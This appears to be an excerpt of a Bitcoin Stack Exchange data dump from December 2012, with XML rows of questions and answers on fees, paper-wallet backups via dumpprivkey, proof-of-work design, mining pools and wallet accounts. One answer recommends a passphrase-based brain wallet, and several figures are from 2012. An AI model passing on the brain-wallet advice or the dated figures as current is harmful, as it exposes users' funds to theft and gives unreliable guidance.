modified client that doesn't enforce a minimum fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case you will need to point your client to Lightfoot Hosting's free transaction relay, which will relay any transaction to the network [2], so it can be picked up by Eligius.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may take longer than usual, but Eligius should eventually mine it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for combining the &quot;dust&quot; while leaving larger balances alone -- you would have to find a client that allows you to choose the inputs to your transaction. I don't know which clients can do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[1] &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees&quot;&gt;https://en.bitcoin.it/wiki/Transaction_fees&lt;/a&gt; (The fee calculations on this page are as of client 0.3, so they may be outdated.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[2] &lt;a href=&quot;https://en.bitcoin.it/wiki/Free_transaction_relay_policy&quot;&gt;https://en.bitcoin.it/wiki/Free_transaction_relay_policy&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[3] Wiki link [1] above says that transactions with priority over 57,600,000 aren't subject to the minimum fee calculation. If this is true, then 10 BTC with an average age of 3 months in a 200KB transaction would have a priority of (1000000000 * 144 * 90) / (200 * 1024) = 63,281,250&lt;/p&gt;&#xA;" OwnerUserId="1605" LastActivityDate="2012-12-05T19:36:03.633" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5614" PostTypeId="1" AcceptedAnswerId="5616" CreationDate="2012-12-05T23:19:59.323" Score="8" ViewCount="26333" Body="&lt;p&gt;I'm just getting started with bitcoin and haven't acquired any significant amount yet, but want to feel relatively secure before I do. And at the moment, my fear of losing bitcoins or a device on which I store bitcoins is slightly greater than my fear of having them stolen so I'm investigating how to make a paper backup. I have looked around and what I have seen seems more complicated than necessary. I am wondering if I could simply:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Start up my bitcoin 0.7.1-beta client&lt;/li&gt;&#xA;&lt;li&gt;Transfer all my bitcoins to some address in the client&lt;/li&gt;&#xA;&lt;li&gt;Open the debug window console&lt;/li&gt;&#xA;&lt;li&gt;Enter &lt;code&gt;walletpassphrase &amp;lt;my passphrase&amp;gt; 60&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Enter &lt;code&gt;dumpprivkey &amp;lt;my address with all the bitcoins&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Print the private key that is displayed&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Then if I ever need to recover it, I could import that private key into any other bitcoin client. If it's the same bitcoin client newly installed, I could enter &lt;code&gt;importprivkey &amp;lt;my key&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My one concern about this is that I have somewhere read that some bitcoin wallets &quot;un-steal themselves&quot; and I am worried and wondering if that means that coins may be automatically transferred to another address at some point, at which time my paper backup would become useless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How wise is this plan? Is there another way I can or should generate a private key and address to which I can send bitcoins without actually having the private key stored on my system if I have a concern about the security of  the system?&lt;/p&gt;&#xA;" OwnerUserId="2335" LastActivityDate="2014-10-13T21:09:55.327" Title="Using dumpprivkey to make a paper backup" Tags="|wallet|private-key|backup|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5615" PostTypeId="2" ParentId="5614" CreationDate="2012-12-06T00:03:09.053" Score="1" Body="&lt;p&gt;I've been under the impression that a paper wallet backup is best for something like a savings account or cold storage. It's impractical to print off the several keypairs that the client generates on initialization (for some clients) or remembering to print out a keypair every time you create a new address, something you should be doing anew for each serious transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Backing up to USB or a NAS or something regularly is the best way to guard against temporary failures. Printing is the best way to keep a balance completely off the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really want to pursue printing keypairs periodically, you &lt;em&gt;could&lt;/em&gt; use something like &lt;a href=&quot;https://www.google.com/search?q=optar&quot; rel=&quot;nofollow&quot;&gt;optar&lt;/a&gt; to create a paper wallet that's really just a printed version of &lt;code&gt;wallet.dat&lt;/code&gt;. That's more practical and more able to be automated, but still a hassle.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2012-12-06T00:03:09.053" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5616" PostTypeId="2" ParentId="5614" CreationDate="2012-12-06T02:27:22.563" Score="2" Body="&lt;p&gt;I recommend to check out “bitaddress.org”.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can grab the whole page (all the java-script it needs is in it) &lt;a href=&quot;https://github.com/pointbiz/bitaddress.org&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;via GitHub&lt;/strong&gt;&lt;/a&gt; and run the brain wallet tab &lt;strong&gt;offline&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Type in a damn good pass-phrase and record it. The pass-phrase. Send your bitcoins to the public key that results and re-create the private key with the same pass phrase when you want them. &lt;/p&gt;&#xA;" OwnerUserId="73" LastEditorUserId="5406" LastEditDate="2014-10-13T21:09:55.327" LastActivityDate="2014-10-13T21:09:55.327" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5617" PostTypeId="1" AcceptedAnswerId="5619" CreationDate="2012-12-06T05:51:45.427" Score="12" ViewCount="14707" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/FAQ#Why_don.27t_we_use_calculations_that_are_also_useful_for_some_other_purpose.3F&quot;&gt;The FAQ says&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Why don't we use calculations that are also useful for some other purpose?&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;To provide security for the Bitcoin network, the calculations involved&#xA;  need to have some very specific features. These features are&#xA;  incompatible with leveraging the computation for other purposes.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That's a rather generic explanation. What are these &quot;very specific features&quot; that Bitcoin calculations need?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2012-12-07T09:56:35.990" Title="Why are Bitcoin calculation &quot;useless&quot;?" Tags="|blockchain|hash|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5618" PostTypeId="2" ParentId="5617" CreationDate="2012-12-06T05:59:22.943" Score="12" Body="&lt;p&gt;The requirements of the Bitcoin calculation function:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Every calculation must depend on the previous calculation. This is what makes each block strengthen the security of previous blocks.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Every calculation should be impossible to know, or even make &quot;partial progress&quot; on, before the previous block is found and published. This is done to make sure to prevent pre-calculation of blocks (by satoshi or anyone else) - it makes sure the &quot;lottery ticket&quot; that is finding a block is split only between miners currently working on this problem (that there are no &quot;hidden lottery tickets&quot;).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There should not be any central source that affects the types of calculations (e.g. a central server sending protein folding problems). The conditions for the calculation should be knowable from the peer to peer network (a central server is a single point of failure).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;We do not know of any &quot;useful&quot; calculation (e.g. SETI@HOME, FOLDING@HOME) that abides by these criteria, so random &quot;useless&quot; hashes were chosen.&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="78" LastEditDate="2012-12-06T06:07:59.750" LastActivityDate="2012-12-06T06:07:59.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5619" PostTypeId="2" ParentId="5617" CreationDate="2012-12-06T06:18:09.160" Score="15" Body="&lt;p&gt;I can see that you are talking about the mining process and the SHA hashing algorithm. From what I understand that function needs to be:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Scalable - one needs to be able to precisely adjust how much work needs to be put in for a desired amount. This is done through the use of Target/Difficulty and uniformity of the output of the SHA function (it produces more or less a smooth distribution of random numbers).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The function needs to be quick to verify and always verify the same way. Moreover, the function needs to be always verifiable and not rely on third party - generally, you need to process a lot of blocks in order to catch up to the network, so there is no point in it taking too long. Also, there is no ambiguity in determining whether a given hash fulfils the preconditions as would happen with some functions (&quot;is this protean optimally folded?&quot;). Morever, floating point calculations are not too good as different computers could have different rounding errors. As for being always verifiable and not relying on third party - Bitcoin is a decentralised currency and thus it cannot remain that way should it be dependant on some company or website operating it. Every peer needs to be able to independently verify the solution with minimal amount of software and hardware. Scientific simulations can rarely fulfil this goal.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The function needs to work one way and have no cryptographic weaknesses - generally, you don't want people to reach the result quicker than is fair. Hashing functions are the types of functions where one needs to perform the calculations in order to receive the results and can't get anywhere knowing the solution. SHA-256 is secure and for now doesn't have any weaknesses.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The output of the function should depend on every part of the input. Moreover, changing even one byte in the input should change the output completely. - Generally, the function needs to be very sensitive to tempering. Any change on the input must change the output so as to prevent malicious manipulation of data. Similarly to ensure that the function is scalable and nobody can &quot;tinker&quot; with the data a bit to produce another valid result from a previous solution, the output must appear to be pseudo random and any change of the input must change the entire output.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="323" LastEditorUserId="78" LastEditDate="2012-12-07T09:56:35.990" LastActivityDate="2012-12-07T09:56:35.990" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5620" PostTypeId="1" AcceptedAnswerId="5681" CreationDate="2012-12-06T06:41:38.820" Score="7" ViewCount="13874" Body="&lt;p&gt;I have an idea of what my password should be, but am missing something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any tools or bash scripts to brute force my wallet passwords?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a dictionary is required, I can pre seed it as necessary (but if I pre-seed a dictionary with my expected passwords that utility better be FOSS so I can review the source ;)  )&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2013-04-11T21:04:07.980" Title="Forgot wallet encryption password, are any brute force tools available?" Tags="|wallet|encryption|passphrase|" AnswerCount="1" CommentCount="1" ClosedDate="2013-02-25T10:35:50.290" ContentLicense="CC BY-SA 3.0" />
  <row Id="5621" PostTypeId="1" CreationDate="2012-12-06T07:04:49.833" Score="5" ViewCount="1896" Body="&lt;p&gt;What is needed to create a new pool with merged mining?  (Bitcoin, NameCoin, and possibly others)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to create a new pool that will &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Include transaction fees in the payout&lt;/li&gt;&#xA;&lt;li&gt;Charge no pool fees&lt;/li&gt;&#xA;&lt;li&gt;Hosted on Amazon (Low latency)&lt;/li&gt;&#xA;&lt;li&gt;Do merged mining if that doesn't create any inefficiency &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm mostly interested in software, or general knowledge that will get me started in the right direction.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="5406" LastEditDate="2016-03-16T08:59:35.473" LastActivityDate="2016-03-16T08:59:35.473" Title="What is needed to create a pool with merged mining?" Tags="|mining-pools|litecoin|namecoin|merged-mining|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5622" PostTypeId="1" AcceptedAnswerId="5624" CreationDate="2012-12-06T07:46:26.373" Score="8" ViewCount="298" Body="&lt;p&gt;I want to follow the most up to date developments of Bitcoin, (such as M of N transaction confirmation).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Who are the primary developers of Bitcoin and what is the most efficient way to track the progress of this and similar activities?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm interested in reading either a detailed activity view, or a high level bullet point of key developments.  Ideally someone would offer both information formats as an answer.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;A nice summary view would include the following ideas and a status on testnet and on the production network:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=81378.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;IPv6 support&lt;/a&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/2831/1878&quot;&gt;Zero confirmation AKA miner promise&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2012-12-11T21:05:27.107" Title="Who are the key developers, and where can I follow their progress and decision making?" Tags="|development|news-coverage|testnet|multi-signature|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5623" PostTypeId="2" ParentId="5621" CreationDate="2012-12-06T08:19:19.917" Score="2" Body="&lt;p&gt;You will need to be running the standard client with some &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin&quot; rel=&quot;nofollow&quot;&gt;special configuration&lt;/a&gt; - &lt;code&gt;server=1&lt;/code&gt; along with &lt;code&gt;rpcuser&lt;/code&gt; and &lt;code&gt;rpcpassword&lt;/code&gt; set. After that, you need to build your pool server to communicate with it through &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow&quot;&gt;Bitcoin API&lt;/a&gt; and handle everything else. Last part is not too Bitcoin-specific and will consume a lot of your development time (I would know, I tried it ;) ).&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="1878" LastEditDate="2012-12-06T08:24:31.587" LastActivityDate="2012-12-06T08:24:31.587" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5624" PostTypeId="2" ParentId="5622" CreationDate="2012-12-06T08:21:41.473" Score="5" Body="&lt;p&gt;The core developers are listed on &lt;a href=&quot;http://bitcoin.org/&quot;&gt;the main Bitcoin page&lt;/a&gt;, while everyone that contributed code are listed on the &lt;a href=&quot;http://bitcoin.org/about.html&quot;&gt;About page&lt;/a&gt;. Probably the most up-to-date info on what is happening with the code would be on the &lt;a href=&quot;https://github.com/bitcoin/bitcoin&quot;&gt;GitHub repo&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-12-06T08:21:41.473" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5625" PostTypeId="2" ParentId="336" CreationDate="2012-12-06T14:32:35.567" Score="2" Body="&lt;p&gt;I think most people don't get the decentralized part. To explain, I have made a few questions and their answers:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;how are bitcoins created?&lt;/li&gt;&#xA;&lt;li&gt;how does it prevent double spending?&lt;/li&gt;&#xA;&lt;li&gt;how do we avoid central authorities? &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is a distributed ledger. Everyone knows how many bitcoins are around and which address sent how many to which address (sort of).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A1. Bitcoins are created at a controlled rate. Once every 10 minutes (currently 25 bitcoins every 10 minutes). The first one to solve a hard problem gets awarded those coins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A2. Bitcoin transactions are public. So everyone can check if a transaction is a double send. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A3. Central authorities are removed because of the mining reward every 10 mins. This consists of the 25 bitcoins plus any transaction fees. It requires people to process (&quot;verify&quot;) new transactions in the form of a solution to a hard puzzle. The first one to solve gets the reward. A majority (51%) of the network breaks ties if two solutions are presented at the same time. Once the solution is accepted by the network, the trasactions are considered &quot;verified&quot;.&lt;/p&gt;&#xA;" OwnerUserId="2075" LastActivityDate="2012-12-06T14:32:35.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5626" PostTypeId="2" ParentId="5617" CreationDate="2012-12-06T14:43:30.573" Score="5" Body="&lt;p&gt;Bitcoin mining exists first and foremost to synchronize transactions; it does so by allowing miners to acknowledge that they consider some transactions valid, by provably doing a calculation which references these transactions somehow. This requires the calculation to have the following properties:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The most important requirement by far as that it is possible to take &lt;em&gt;arbitrary&lt;/em&gt; data, and from it generate algorithmically a problem to be solved; the problem must depend on the data in such a way that without knowing the exact data, it is impossible to make any progress towards the solution to the problem.&lt;/p&gt;&#xA;&lt;p&gt;If you could not derive a problem from arbitrary data, you could not take transaction data (which is arbitrary) and from it present a problem whose solution acknowledges the transactions; the derivation must be algorithmic, otherwise there would be need for some central entity to come up with the problem; and no work should be possible before knowing what the transactions are, otherwise the work cannot meaningfully acknowledge the particular set of transactions.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The problem must be much easier to verify than to solve. Otherwise, a lot of overhead will be created in operating the network after the problems are originally solved.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It should be possible to freely scale the difficulty of the problems. Otherwise, as the computational power of the network changes, the solutions could arrive too quickly (causing forking and overhead) or too slowly (delaying the confirmation of transactions).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;We need to have sufficient confidence that the problems are indeed as difficult as we think they are. Otherwise, a party finding a significant shortcut could have an unexpected and unchallenged advantage.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Requirement 1 is the most important, and also the most unlikely to be satisfied by &amp;quot;useful&amp;quot; problems - real-world applications generally require a central domain expert to issue relevant problems.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2012-12-06T14:43:30.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5627" PostTypeId="1" AcceptedAnswerId="5628" CreationDate="2012-12-06T18:36:32.537" Score="0" ViewCount="157" Body="&lt;p&gt;I'm trying to understand the relationship between a vanity address and how that relates to the size of a transaction.  Is there anything I can do with my public key / address &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to create a public key address that helps keep transactions small?  &lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2012-12-09T04:24:58.087" Title="How can I create smaller transactions? Can a vanity address make things smaller?" Tags="|vanity-address|transaction-fees|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5628" PostTypeId="2" ParentId="5627" CreationDate="2012-12-06T22:49:12.063" Score="2" Body="&lt;p&gt;Take a look at the specification for transaction messages, particularly the sample transaction: &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#tx&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Protocol_specification#tx&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best way to minimize transaction size is to minimize the number of inputs. Avoid accumulating &quot;dust&quot; balances of very tiny amounts. This is why mining pools have minimum payouts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Vanity addresses are still the full 20 bytes. Even if you use a firstbits address, you have to look up the full address before using it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Moved the answer from the comment below to here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't get a transaction size saving from using firstbits, because it is not legal in the protocol and you will have to use the full address anyway.]&lt;/p&gt;&#xA;" OwnerUserId="1605" LastEditorUserId="153" LastEditDate="2012-12-09T04:24:58.087" LastActivityDate="2012-12-09T04:24:58.087" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5629" PostTypeId="1" CreationDate="2012-12-06T23:34:45.190" Score="4" ViewCount="200" Body="&lt;p&gt;As of the time I write this, only one &lt;a href=&quot;https://en.bitcoin.it/wiki/Discouraged_block&quot; rel=&quot;nofollow&quot;&gt;block type is marked as &quot;discouraged&quot;&lt;/a&gt;, and I'd like to understand why this exists.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is a correct reading that is that &quot;it &lt;strong&gt;should&lt;/strong&gt; be in the blockchain?&lt;/li&gt;&#xA;&lt;li&gt;Is this simply the block number embedded in the transaction?&lt;/li&gt;&#xA;&lt;li&gt;Are there any sample blocks that do or don't have this information?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="2306" LastEditDate="2013-07-21T22:37:32.143" LastActivityDate="2013-07-21T22:37:32.143" Title="What are &quot;discouraged blocks&quot; in the blockchain? (examples and explanation please)" Tags="|blockchain|development|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5630" PostTypeId="1" CreationDate="2012-12-07T04:08:20.437" Score="1" ViewCount="363" Body="&lt;p&gt;How can I create graphs similar to &lt;a href=&quot;http://bitcoin.sipa.be&quot; rel=&quot;nofollow&quot;&gt;http://bitcoin.sipa.be&lt;/a&gt;, and blockchain.info for Namecoin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example &lt;a href=&quot;https://bitcointalk.org/index.php?topic=2345.msg31405&quot; rel=&quot;nofollow&quot;&gt;this thread discusses how to analyze difficulty over time&lt;/a&gt; and provides this  &lt;a href=&quot;http://www.wolframalpha.com/input/?i=exponential%20fit%20%7B90720,4536%7D,%7B92736,6867%7D,%7B94752,8078%7D,%7B96768,12252%7D&quot; rel=&quot;nofollow&quot;&gt;equation and correlation covering 4 difficulty adjustments.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to understand the math required to create such graphs so I can port the trending to other *coin usages. (which invariably have different values)&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="5406" LastEditDate="2013-10-11T13:49:49.907" LastActivityDate="2013-10-11T13:49:49.907" Title="What is the math behind popular Bitcoin graphs? I want to graph Namecoin (or similar *coin) technologies?" Tags="|namecoin|charts|technical-analysis|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5631" PostTypeId="1" AcceptedAnswerId="5635" CreationDate="2012-12-07T05:34:19.927" Score="19" ViewCount="3579" Body="&lt;p&gt;I have so far enjoyed the experience of learning about Bitcoins, mining, etc. I've setup a bitcoin daemon in hopes of developing a few apps and services in the near future. However, there is one thing that has been bothering me for a few days now and I can't seem to find an answer for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a 'move' command in the client/API calls list that will &quot;Move from one account in your wallet to another&quot;. I read somewhere that this DOES NOT flow through the block chain. If that is the case, then HOW can you actually use those coins in the new account/address when there is no public record of the transfer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help&lt;/p&gt;&#xA;" OwnerUserId="2375" LastEditorUserId="196" LastEditDate="2012-12-11T15:38:48.347" LastActivityDate="2012-12-11T15:38:48.347" Title="How does the 'move' command work?" Tags="|bitcoind|bitcoin-core-accounts|movecmd|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5632" PostTypeId="1" CreationDate="2012-12-07T05:34:58.387" Score="4" ViewCount="340" Body="&lt;p&gt;Do they have a client installed on their servers that pulls the info out of block headers? How does it do it? What's the command?&lt;/p&gt;&#xA;" OwnerUserId="1766" LastActivityDate="2012-12-07T06:45:09.693" Title="How does blockchaininfo find out the difficulty?" Tags="|client|difficulty|blockchain.info|live-data|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5633" PostTypeId="2" ParentId="5608" CreationDate="2012-12-07T05:46:12.403" Score="2" Body="&lt;p&gt;I don't really see GPU-mining continuing much after the ASICs &quot;finally&quot; arrive.  However, there is one major factor that none of the online calculators properly project. That's the rise of the BTC-&gt;USD ratio. This becomes rather speculative (kind of like the stock market), but given that the next having won't be for another 4 years, a significant rise in valuation could once again make GPU-mining profitable for the casual miner.  Take a look at some of these &lt;a href=&quot;http://bitcoincharts.com/markets/&quot; rel=&quot;nofollow&quot;&gt;charts&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2375" LastActivityDate="2012-12-07T05:46:12.403" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5634" PostTypeId="2" ParentId="5632" CreationDate="2012-12-07T06:45:09.693" Score="2" Body="&lt;p&gt;Blockchain.info definitely has a client installed on their servers, that's where they get all the block data from. I heard they're using a fork of BitcoinJ.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Bitcoin-qt daemon, you can get the difficulty of the latest block with the getdifficulty command, and you can get complete information about every block, including the difficulty, with getblock.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-12-07T06:45:09.693" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5635" PostTypeId="2" ParentId="5631" CreationDate="2012-12-07T07:03:44.603" Score="14" Body="&lt;p&gt;Accounts are an internal bookkeeping mechanism of the Bitcoin client. They are not the same thing as addresses. When you move from one account to another, the coins remain in the same address, and if you need to spend them they will be spent from the same address. The only thing moving does is subtract a number from one account and adding to another - both of which are just things the client displays and nobody else on the network has any knowledge of. An account balance can also be negative.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Accounts are good if you run a shared eWallet and want to track users' balances (and &quot;move&quot; can be used to make an intra-bank transfer), or if you want to keep track of different purposes of savings (so you can direct all incoming coins to an account called &quot;unallocated&quot; and then move 100 BTC to the account &quot;college fund&quot;; if you make sure to designate all outgoing transfers as coming from &quot;unallocated&quot;, you will not accidentally dip into the college funds, no matter in which addresses your bitcoins physically sit).&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-12-07T07:03:44.603" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5636" PostTypeId="1" AcceptedAnswerId="5639" CreationDate="2012-12-07T07:47:27.707" Score="2" ViewCount="249" Body="&lt;p&gt;When sending a &lt;code&gt;getwork&lt;/code&gt; request, one always includes an &lt;code&gt;id&lt;/code&gt; value. Does this value have any meaning? Will it cause problems to have multiple miners use the same &lt;code&gt;id&lt;/code&gt;? Furthermore, if I wanted to send some extra information to a mining pool server, would &lt;code&gt;id&lt;/code&gt; be an okay place to do it or should I add my own extra field?&lt;/p&gt;&#xA;" OwnerUserId="2029" LastEditorUserId="5406" LastEditDate="2016-03-31T10:22:03.817" LastActivityDate="2016-03-31T10:22:03.817" Title="Does the getwork id value do anything?" Tags="|mining-pools|miner-configuration|getwork|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5637" PostTypeId="1" CreationDate="2012-12-07T07:53:12.043" Score="2" ViewCount="293" Body="&lt;p&gt;Site is down, google finds no new address. Can find nothingness on bitcoin forums, but Gregor not brightest crayon, perhaps doesn't know how to search.&lt;/p&gt;&#xA;" OwnerUserId="2376" LastActivityDate="2012-12-09T04:13:52.887" Title="Is Quickbitcoins.net gone with all money?" Tags="|services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5638" PostTypeId="1" AcceptedAnswerId="5647" CreationDate="2012-12-07T07:56:22.260" Score="5" ViewCount="2805" Body="&lt;p&gt;Original paper published by Satoshi Nakamoto, compares between one-cpu-one-vote and one-ip-address-one-vote, then chooses former because of the reason that someone would be able to allocate more than one IP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This statement also sounds against anyone with huge hash power.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this, it seems that, GPU / FPGA / ASIC hashing was not predicted at the time of publishing this paper.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this an important change, or just a design decision for the growth of Bitcoin ecosystem? What's the motivation behind one-cpu-one-vote rule? And, will it still applies to Bitcoin ecosystem?&lt;/p&gt;&#xA;" OwnerUserId="2229" LastActivityDate="2018-07-11T01:43:40.237" Title="what is the motivation behind one-cpu-one-vote rule?" Tags="|scalability|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5639" PostTypeId="2" ParentId="5636" CreationDate="2012-12-07T09:30:16.257" Score="1" Body="&lt;p&gt;If you are talking about the &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow&quot;&gt;Bitcoin API&lt;/a&gt;, getwork only requires &lt;code&gt;data&lt;/code&gt; field, which is a place to put your solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I do believe that you are talking about the &lt;code&gt;id&lt;/code&gt; field of a &lt;a href=&quot;http://json-rpc.org/wiki/specification&quot; rel=&quot;nofollow&quot;&gt;JSON RPC command&lt;/a&gt;. It is used to identify a response to a given request. Generally, it might not be the best place to put extra information. There are already a few &lt;a href=&quot;https://en.bitcoin.it/wiki/Getwork&quot; rel=&quot;nofollow&quot;&gt;extensions to the getwork protocol&lt;/a&gt; that you might want to use instead.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-12-07T09:30:16.257" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
